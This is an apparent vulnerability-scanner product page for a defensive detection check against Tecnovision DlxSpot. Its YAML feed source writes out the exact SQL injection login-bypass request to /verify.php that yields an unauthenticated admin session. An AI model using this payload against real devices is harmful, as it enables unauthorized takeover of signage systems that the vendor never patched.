DlxSpot — 1 vulnerability check

noctis ships 1 vulnerability check for DlxSpot, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Tecnovision DlxSpot verify.php SQL injection admin login bypass

CVECVE-2017-12928, CVE-2017-12929, CVE-2017-12930
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 97
Feedtests/vulnerabilities/dlxspot/dlxspot-verify-sqli-login-bypass.yaml

Posts an admin login to /verify.php whose password is the SQL injection x' or 'x'='x, and confirms the reply is the authenticated Dlxplayer console (the frame that loads playlist.php). A second login with an always-false injection (x' or 'x'='<random>) must then be rejected: the true/false pair proves the password is evaluated as SQL. A target that also accepts the false condition is reported separately as an admin login that accepts an invalid password. No data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /verify.php with a crafted body
  3. Checks login.body for (?s)(<title>Dlxplayer</title>.*src="playlist\.php"|src="playlist\.php…
  4. HTTP(S) request POST /verify.php with a crafted body
  5. Checks ctl.body for src="playlist\.php"
  6. Checks exploit_ok for ^true$ → finding QoD 97: Tecnovision DlxSpot verify.php SQL injection admin login bypass
  7. Checks exploit_ok for ^true$ → finding QoD 75: Tecnovision DlxSpot verify.php SQL injection admin login bypass
  8. Checks ctl_login for ^true$ → finding QoD 70: Tecnovision DlxSpot admin login accepts an invalid password

References:

Feed source — tests/vulnerabilities/dlxspot/dlxspot-verify-sqli-login-bypass.yaml
uid: aec4c883-b9e3-46de-9645-daef3676d6d1
name: "Tecnovision DlxSpot verify.php SQL injection admin login bypass"
description: >-
  Posts an admin login to /verify.php whose password is the SQL injection
  x' or 'x'='x, and confirms the reply is the authenticated Dlxplayer
  console (the frame that loads playlist.php). A second login with an
  always-false injection (x' or 'x'='<random>) must then be rejected: the
  true/false pair proves the password is evaluated as SQL. A target that
  also accepts the false condition is reported separately as an admin login
  that accepts an invalid password. No data is read or changed.
category: sqli
cves: [CVE-2017-12928, CVE-2017-12929, CVE-2017-12930]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [dlxspot, tecnovision, digital-signage, sqli, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-12930"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-12929"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-12928"
  - "http://packetstormsecurity.com/files/144257/DlxSpot-SQL-Injection.html"
  - "OpenVAS NASL 2017/gb_dlxspot_mult_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2017/gb_dlxspot_mult_vuln.nasl (GPL-2.0-only).
# The NASL tracks CVE-2017-12928/12929/12930 but only exercises CVE-2017-12930 (admin
# SQLi login bypass); the feed keeps the three IDs at feed level for tracking and the
# findings name only CVE-2017-12930. Same request as the NASL (exact urlencoded body)
# and the same two markers in the reply.
# Improvement over the NASL: a second login with an always-false injected condition
# must fail. Without it, a console that logs in with any password is reported as SQLi;
# with it that case gets its own lower-QoD finding, and the SQLi finding is QoD 97
# (true/false differential, real admin session obtained). If the control request gets
# no reply the SQLi finding falls back to QoD 75 (fail-closed).
steps:
  - id: init-ok
    action: set_var
    var_name: exploit_ok
    var_value: false
  - id: init-ctl-login
    action: set_var
    var_name: ctl_login
    var_value: false
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: ""
  - id: rnd
    action: script
    code: 'rand_str(10)'
    store_as: ctl_tok

  - id: exploit
    action: http_request
    method: POST
    path: "/verify.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "loginusername=admin&loginpassword=x%27+or+%27x%27%3D%27x&save=+LOGIN+"
    store_as: login
  - id: exploit-gate
    action: match
    source: login.body
    pattern: '(?s)(<title>Dlxplayer</title>.*src="playlist\.php"|src="playlist\.php".*<title>Dlxplayer</title>)'
    condition: 'type_of(login) == "map" && login.status == 200'
    on_match:
      set_vars:
        exploit_ok: true

  - id: control
    action: http_request
    method: POST
    path: "/verify.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "exploit_ok == true"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "loginusername=admin&loginpassword=x%27+or+%27x%27%3D%27{{ctl_tok}}&save=+LOGIN+"
    store_as: ctl
  - id: control-gate
    action: match
    source: ctl.body
    pattern: 'src="playlist\.php"'
    condition: 'exploit_ok == true && type_of(ctl) == "map"'
    on_match:
      set_vars:
        ctl_login: true

  - id: sqli-confirmed
    action: match
    source: exploit_ok
    pattern: "^true$"
    condition: 'exploit_ok == true && type_of(ctl) == "map" && ctl_login == false'
    on_match:
      finding:
        cves: [CVE-2017-12930]
        title: "Tecnovision DlxSpot verify.php SQL injection admin login bypass"
        description: "The DlxSpot admin login in /verify.php concatenates the password into its SQL query, so an unauthenticated attacker obtains an admin session with a crafted password."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST /verify.php as admin with password x' or 'x'='x returned the Dlxplayer console (playlist.php frame); the same login with the false condition x' or 'x'='{{ctl_tok}} was rejected (login page served again, HTTP {{ctl.status}})."
        remediation: "No fix was released by the vendor. Do not expose the DlxSpot web interface to untrusted networks, filter access to /verify.php, or replace the device."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: exploit_ok
    pattern: "^true$"
    condition: 'exploit_ok == true && type_of(ctl) != "map"'
    on_match:
      finding:
        cves: [CVE-2017-12930]
        title: "Tecnovision DlxSpot verify.php SQL injection admin login bypass"
        description: "The DlxSpot admin login in /verify.php concatenates the password into its SQL query, so an unauthenticated attacker obtains an admin session with a crafted password."
        confidence_delta: 0.50
        qod: 75
        evidence: "POST /verify.php as admin with password x' or 'x'='x returned the Dlxplayer console (playlist.php frame); the false-condition control login got no reply."
        remediation: "No fix was released by the vendor. Do not expose the DlxSpot web interface to untrusted networks, filter access to /verify.php, or replace the device."
      stop: true

  - id: any-password
    action: match
    source: ctl_login
    pattern: "^true$"
    condition: 'exploit_ok == true && ctl_login == true'
    on_match:
      finding:
        cves: []
        title: "Tecnovision DlxSpot admin login accepts an invalid password"
        description: "The DlxSpot web console opened an admin session for a login whose password is neither valid nor a true SQL condition, so the admin interface is reachable without knowing the password."
        confidence_delta: 0.40
        qod: 70
        evidence: "POST /verify.php as admin returned the Dlxplayer console both for x' or 'x'='x and for the false condition x' or 'x'='{{ctl_tok}}."
        remediation: "Do not expose the DlxSpot web interface to untrusted networks and set a strong admin password."
      stop: true

View these feeds on GitHub